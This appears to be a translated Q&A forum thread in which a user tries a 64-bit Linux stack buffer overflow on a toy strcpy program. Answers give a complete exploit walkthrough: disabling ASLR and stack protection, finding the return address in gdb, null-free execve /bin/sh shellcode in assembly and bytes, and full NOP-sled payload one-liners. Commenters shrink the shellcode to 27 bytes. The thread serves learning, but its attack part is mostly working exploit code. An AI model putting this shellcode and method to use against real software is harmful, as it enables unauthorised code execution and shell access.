Буферът се препълва при 64 бита

Опитвам се да направя някои експерименти с препълване на буфера за забавление. Четох в този форум по темата и се опитах да напиша свой собствен малък код.

И така, това, което направих, е малка "C" програма, която приема символен аргумент и работи до повреда в сегментирането.

Така че предоставям аргументи, докато не получа съобщение, че съм презаписал адреса за връщане с "A", което е 41. Дължината на буферния ми символ, в който копирам моите входни низове, е [5].

Ето какво направих в gdb.

run $(perl -e 'print "A"x32  ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d

Тогава разбрах, че са необходими 16 'A' за презаписване.

run $(perl -e 'print "A"x16 . "C"x8 . "B"x32   ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
) 

Което ни казва, че 8 "C" презаписват обратния адрес.

Според онлайн уроците, ако предоставя валиден адрес вместо 8 "C". Мога да отскоча до някое място и да изпълня код. Така претоварих паметта след първоначалните 16 "А".

Следващата стъпка беше изпълнението

run $(perl -e 'print "A"x16 . "C"x8 . "B"x200   ; ')

rax            0x0      0
rbx            0x3a0001bbc0     249108216768
rcx            0x3a00552780     249113683840
rdx            0x3a00553980     249113688448
rsi            0x42     66
rdi            0x2af9e57710e0   47252785008864
rbp            0x4343434343434343       0x4343434343434343
rsp            0x7fffb261a2e8   0x7fffb261a2e8
r8             0xffffffff       4294967295
r9             0x0      0
r10            0x22     34
r11            0xffffffff       4294967295
r12            0x0      0
r13            0x7fffb261a3c0   140736186131392
r14            0x0      0
r15            0x0      0
rip            0x400516 0x400516 <main+62>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
mxcsr          0x1f80   [ IM DM ZM OM UM PM ]

След като прегледах паметта 200 байта след $rsp, намерих адрес и направих следното:

run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"   ; ')

Това обаче не прави нищо. Ще съм благодарен, ако някой може да ми даде идея какво правя грешно.


person Alexander Cska    schedule 20.03.2013    source източник


Отговори (3)


Първо се уверете, че сте променили randomize_va_space. В Ubuntu бихте изпълнили следното като root
echo 0 > /proc/sys/kernel/randomize_va_space

След това се уверете, че компилирате тестовата програма без защита срещу разбиване на стека и задайте бита за изпълнение на паметта. Компилирайте го със следните gcc опции, за да постигнете
-fno-stack-protector -z execstack

Също така открих, че имам нужда от повече място за действително изпълнение на обвивка, така че бих променил буфера ви на нещо по-скоро като буфер [64]

След това можете да стартирате приложението в gdb и да получите адреса на стека, към който трябва да се върнете
Първо задайте точка на прекъсване веднага след strcpy

(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040057c <+0>: push   %rbp
   0x000000000040057d <+1>: mov    %rsp,%rbp
   0x0000000000400580 <+4>: sub    $0x50,%rsp
   0x0000000000400584 <+8>: mov    %edi,-0x44(%rbp)
   0x0000000000400587 <+11>:    mov    %rsi,-0x50(%rbp)
   0x000000000040058b <+15>:    mov    -0x50(%rbp),%rax
   0x000000000040058f <+19>:    add    $0x8,%rax
   0x0000000000400593 <+23>:    mov    (%rax),%rdx
   0x0000000000400596 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040059a <+30>:    mov    %rdx,%rsi
   0x000000000040059d <+33>:    mov    %rax,%rdi
   0x00000000004005a0 <+36>:    callq  0x400450 <strcpy@plt>
   0x0000000000**4005a5** <+41>:    lea    -0x40(%rbp),%rax
   0x00000000004005a9 <+45>:    mov    %rax,%rsi
   0x00000000004005ac <+48>:    mov    $0x400674,%edi
   0x00000000004005b1 <+53>:    mov    $0x0,%eax
   0x00000000004005b6 <+58>:    callq  0x400460 <printf@plt>
   0x00000000004005bb <+63>:    mov    $0x0,%eax
   0x00000000004005c0 <+68>:    leaveq 
   0x00000000004005c1 <+69>:    retq   
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5

След това стартирайте приложението и в точката на прекъсване вземете адреса на регистъра rax.

(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`

Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax            0x7fffffffe030   140737488347136
rbx            0x0  0
rcx            0x4141414141414141   4702111234474983745
rdx            0x41 65
rsi            0x7fffffffe490   140737488348304
rdi            0x7fffffffe077   140737488347255
rbp            0x7fffffffe040   0x7fffffffe040
rsp            0x7fffffffdff0   0x7fffffffdff0
r8             0x7ffff7dd4e80   140737351863936
r9             0x7ffff7de9d60   140737351949664
r10            0x7fffffffdd90   140737488346512
r11            0x7ffff7b8fd60   140737349483872
r12            0x400490 4195472
r13            0x7fffffffe120   140737488347424
r14            0x0  0
r15            0x0  0
rip            0x4005a5 0x4005a5 <main+41>
eflags         0x206    [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

След това определете вашия максимален размер на буфера. Знам, че буферът от 64 се срива при 72 байта, така че просто ще отида от това.. Можете да използвате нещо като методи за шаблони на metasploits, за да ви даде това, или просто да го разберете от проба и грешка, изпълнявайки приложението, за да разберете точния байт пребройте, което е необходимо, преди да получите segfault, или създайте свой собствен шаблон и съпоставете адреса за извличане, както бихте направили с опцията за модел на metasploit.

След това има много различни начини да получите полезния товар, от който се нуждаете, но тъй като работим с 64-битово приложение, ще използваме 64-битов полезен товар. Компилирах C и след това взех ASM от gdb и след това направих някои промени, за да премахна символите \x00, като промених инструкциите mov на xor за нулевите стойности и след това shl и shr, за да ги премахна от командата на обвивката. Ще покажем това по-късно, но засега полезният товар е както следва.

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

нашият полезен товар тук е 48 байта, така че имаме 72 - 48 = 24

Можем да подпълним полезния товар с \x90 (nop), така че инструкцията да не бъде прекъсната. Ще добавя 2 в края на полезния товар и 22 в началото. Също така ще закрепя адреса за връщане, който искаме до края наобратно, давайки следното..

`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`

Сега, ако искате да го стартирате извън gdb, може да се наложи да се справите с обратния адрес. В моя случай адресът става \x70\xe0\xff\xff\xff\x7f извън gdb. Просто го увеличих, докато заработи, като отидох на 40, след това на 50, след това на 60 и на 70.

източник на тестово приложение

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char name[64];

  strcpy(name, argv[1]);
  printf("Arg[1] is :%s\n", name);

  return 0;
}

Това е полезният товар в C

#include <stdlib.h>

int main()
{
  execve("/bin/sh", NULL, NULL);
}

И полезен товар в ASM, който ще се изгради и стартира

int main() {
  __asm__(
    "mov    $0x0,%rdx\n\t"                // arg 3 = NULL
    "mov    $0x0,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x0068732f6e69622f,%rdi\n\t"
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack pointer = start of /bin/sh
    "mov    $0x3b,%rax\n\t"               // syscall number = 59
    "syscall\n\t"
  );
}

И тъй като не можем да използваме \x00, можем да променим на xor стойностите и да направим някакво фантастично преместване, за да премахнем лошите стойности на mov за настройка на /bin/sh

int main() {
  __asm__(
    "xor    %rdx,%rdx\n\t"                // arg 3 = NULL
    "mov    %rdx,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x1168732f6e69622f,%rdi\n\t"
    "shl    $0x8,%rdi\n\t"                
    "shr    $0x8,%rdi\n\t"                // first byte = 0 (8 bits)
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of /bin/sh
    "mov    $0x111111111111113b,%rax\n\t" // syscall number = 59
    "shl    $0x38,%rax\n\t"         
    "shr    $0x38,%rax\n\t"               // first 7 bytes = 0 (56 bits)
    "syscall\n\t"
  );
}

ако компилирате този полезен товар, стартирате го под gdb, можете да получите байтовите стойности, от които се нуждаете, като напр

(gdb) x/bx main+4
0x400478 <main+4>:  0x48
(gdb) 
0x400479 <main+5>:  0x31
(gdb) 
0x40047a <main+6>:  0xd2
(gdb)

или да получите всичко, като направите нещо подобно

(gdb) x/48bx main+4
0x4004f0 <main+4>:  0x48    0x31    0xd2    0x48    0x89    0xd6    0x48    0xbf
0x4004f8 <main+12>: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x11
0x400500 <main+20>: 0x48    0xc1    0xe7    0x08    0x48    0xc1    0xef    0x08
0x400508 <main+28>: 0x57    0x48    0x89    0xe7    0x48    0xb8    0x3b    0x11
0x400510 <main+36>: 0x11    0x11    0x11    0x11    0x11    0x11    0x48    0xc1
0x400518 <main+44>: 0xe0    0x38    0x48    0xc1    0xe8    0x38    0x0f    0x05
person Jason    schedule 12.06.2013
comment
Нека го направим с 32-байтов полезен товар :) (gdb) стартирайте python -c 'print "\x90"*20+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xc0\x50\xb0\x3b\x0f\x05"+"\x90"*20+"\x30\xe0\xff\xff\xff\x7f"'; - person Jason; 13.06.2013
comment
всъщност бихме могли да премахнем push %rax или in byte code \x50 и да го направим с 31 байта запълване на друг nop (gdb) run python -c 'print "\x90"*21+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"+"\x90"*20+"\x30\xe0\xff\xff\xff\x7f"'; - person Jason; 13.06.2013
comment
премахването на push %rax и избягването на shr, тъй като //bin/sh е валиден ни позволява да го направим с 27 байта (gdb) run python -c 'print "\x90"*23+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"+"\x90"*22+"\x30\xe0\xff\xff\xff\x7f"'; - person Jason; 13.06.2013
comment
27 байта ASM за всеки, който може да го иска, например int main() { __asm__( "xor %rdx,%rdx\n\t" // arg 3 = NULL "mov %rdx,%rsi\n\t" // arg 2 = NULL "mov $0x68732f6e69622f2f,%rdi\n\t" "push %rdi\n\t" // push "/bin/sh" onto stack "mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh "xor %rax, %rax\n\t" "mov $0x3b,%al\n\t" // syscall number = 59 "syscall\n\t" ); } - person Jason; 13.06.2013
comment
Здравейте, успях да създам обвивка, но извън gdb получавам незаконни инструкции. - person Alexander Cska; 21.09.2013
comment
Ще трябва да коригирате адреса извън GDB.. Цитат Сега, ако искате да го стартирате извън gdb, може да се наложи да измислите обратния адрес. В моя случай адресът става \x70\xe0\xff\xff\xff\x7f извън gdb. Току-що го увеличих, докато заработи, като отидох на 40, след това на 50, след това на 60 и след това на 70. Просто продължете да играете с него и ще получите правилния адрес. - person Jason; 21.10.2013
comment
Здравейте, знам, че е късно... но вашият шелкод в правилния ред ли е? защото в паметта всичките 4 байта след това се обръщат. означава, че всъщност трябва да ги обърна, преди да го въведа... - person ; 27.03.2014
comment
да, полезният товар работи според очакванията. Действителният адрес, до който трябваше да преминем, беше 7FFFFFFF, така че в полезния товар трябва да го запишем наобратно, така че да стане xff\xff\xff\x7f. - person Jason; 08.05.2014

Ами като за начало... Напълно ли сте сигурни, че адресът в стека е указателят за връщане, а не указател за структура от данни или низ някъде? Ако случаят е такъв, той ще използва този адрес вместо низа и в крайна сметка може просто да не направи нищо :)

Така че проверете дали вашата функция използва локални променливи, тъй като те се поставят в стека след адреса за връщане. Надявам се това да помогне ^_^ И успех!

person h4unt3r    schedule 20.03.2013
comment
Ето какво правя, този път нямам достъп до същата машина, така че стартирам на друга. (все още 64 бита). Така че имам нужда от 18 'A', за да презапиша RIP. Затова правя следното: [link] run $(perl -e 'print Ax18 . Cx8 . \x90x200 ;') bold code След това гледам 200 байта след RSP с [link] x\200xb $ rsP удебелен code x/200xb $rsp и получавам адреси като 0x7fffb6b44140 0x7fffb6b44138 , които използвам, за да направя моето пренасочване. Предполагам, че тук правя нещо нередно?? - person Alexander Cska; 21.03.2013
comment
Бихте ли публикували съответните редове на вашата C програма? - person h4unt3r; 21.03.2013
comment
Разбира се, тук е моят код: #include <stdio.h> #include <string.h> int main( int argc, char* argv[] ) { char buf[5]; strcpy( buf, argv[1] ); printf(argv[1]) ; return 0; } - person Alexander Cska; 27.03.2013

не съм работил много с x64, но бърз поглед показва, че имате 16 байта до извличане презаписване. вместо \x90 опитайте \xCC, за да видите дали е настъпило пренасочване на контролиран код, ако има gdb трябва да удари (кацне в пула \xCC) \xCC и пауза (\xCC са по някакъв начин "твърдо кодирани" точки на прекъсване).

person 5yntAx3rrR    schedule 21.03.2013